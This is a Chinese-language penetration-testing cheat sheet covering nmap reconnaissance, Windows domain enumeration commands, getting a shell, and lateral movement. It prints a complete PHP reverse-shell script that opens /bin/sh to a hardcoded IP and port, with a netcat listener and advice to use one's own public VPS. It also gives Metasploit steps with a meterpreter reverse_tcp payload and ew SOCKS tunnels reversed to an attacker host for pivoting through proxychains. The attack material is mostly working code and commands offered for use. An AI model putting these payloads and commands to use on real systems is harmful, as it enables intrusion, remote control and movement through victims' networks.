信息搜集
nmap命令系列
nmap -F ip地址 进行快速扫描,仅扫描列在nmap-services文件中的端口而避开所有其它的端口
nmap -O IP地址 使用Nmap扫描指定主机的操作系统版本信息
nmap –A –v IP地址 完整测试
namp --script=vuln ip地址 用来扫描目标主机是否有可检测漏洞
nmap -p3306 --script=mysql-empty-password.nse ip地址 扫描mysql root空口令
nmap --script=smb-enum-users ip地址 对对应ip地址的机器进行扫描,同时对smb(共享文件资源)的用户进行枚举
nmap -sP 网段 扫描该网段中存活的主机
nmap -sS -sV -T5 -A ip地址 扫描端口开放情况
whatweb
whatweb url 检测web指纹
web目录扫描
gobuster dir -u "url" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,bak, php
dirsearch.py -u url -e *
远程登录日志
c:\windows\system32\winevt\logs\*.remote*
more /var/log/secure
who /var/log/wtmp
域内信息
ipconfig /all 查询本机IP段,所在域等
net user 本机用户列表
net localhroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户
net group /domain 查询域里面的工作组
net group “domain admins” /domain 查询域管理员用户组
net localgroup administrators /domain 登录本机的域管理员
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net group “domain controllers” /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器
net config workstation 当前登录域
net session 查看当前会话
net use \ip\ipc$ pawword /user:username 建立IPC会话[空连接-***]
net share 查看SMB指向的路径[即共享]
net view 查询同一域内机器列表
net view \ip 查询某IP共享
net view /domain 查询域列表
net view /domain:domainname 查看workgroup域中计算机列表
net start 查看当前运行的服务
net accounts 查看本地密码策略
net accounts /domain 查看域密码策略
nbtstat –A ip netbios查询
netstat –an/ano/anb 网络连接查询
route print 路由表
tasklist /V 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
qprocess * 类似tasklist
qprocess /SERVER:IP 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com 查看邮件服务器
whoami /all 查询当前用户权限等
set 查看系统环境变量
systeminfo 查看系统信息
qwinsta 查看登录情况
qwinsta /SERVER:IP 查看远程登录情况
fsutil fsinfo drives 查看所有盘符
gpupdate /force 更新域策略
wmic bios 查看bios信息
wmic qfe 查看补丁信息
wmic qfe get hotfixid 查看补丁-Patch号
wmic startup 查看启动项
wmic service 查看服务
wmic os 查看OS信息
dsquery server 查询所有域控制器
dsquery computer 查询域内计算机
dsquery user 查询域用户
最近使用文件
%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\
history
获得shell
webshell
/usr/share/webshells/
常用的是php-reverse-shell.php,该脚本通过nc连接即可
脚本代码
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.190.177';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
- 把ip和port改成自己的公网ip
- 公网VPS监听端口
nc -v -n -l -p 1234 (nc -lvvp 1234) - 访问传入shell的url来触发
msf
例如ms16-075
search ms06_075
use exploit/windows/local/ms16_075_reflection_juicy
set payload windows/meterpreter/reverse_tcp
set session 2
set lhost ip地址
set lport 端口
横向移动
在kali上运行
./ew_linux_x64 -s rcsocks -l 1080 -e 1234
该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口
在win7 (web服务器中)运行
execute ew_for_win64 -s rssocks -d 192.168.23.131 -e 1234
该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.23.131(kali)的1234端口上。
需要将ew文件上传到目标机win7中
配置proxychains.conf(kali上需要安装 sudo apt-get install proxychains)
/etc/proxychains.conf
去掉dynamic_chain的注释,并且在最后的位置添加代理。
最后位置添加的内容为socks5 127.0.0.1 1080
可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务
接下来就可以利用proxychains配合nmap和msf进行内网渗透了。
|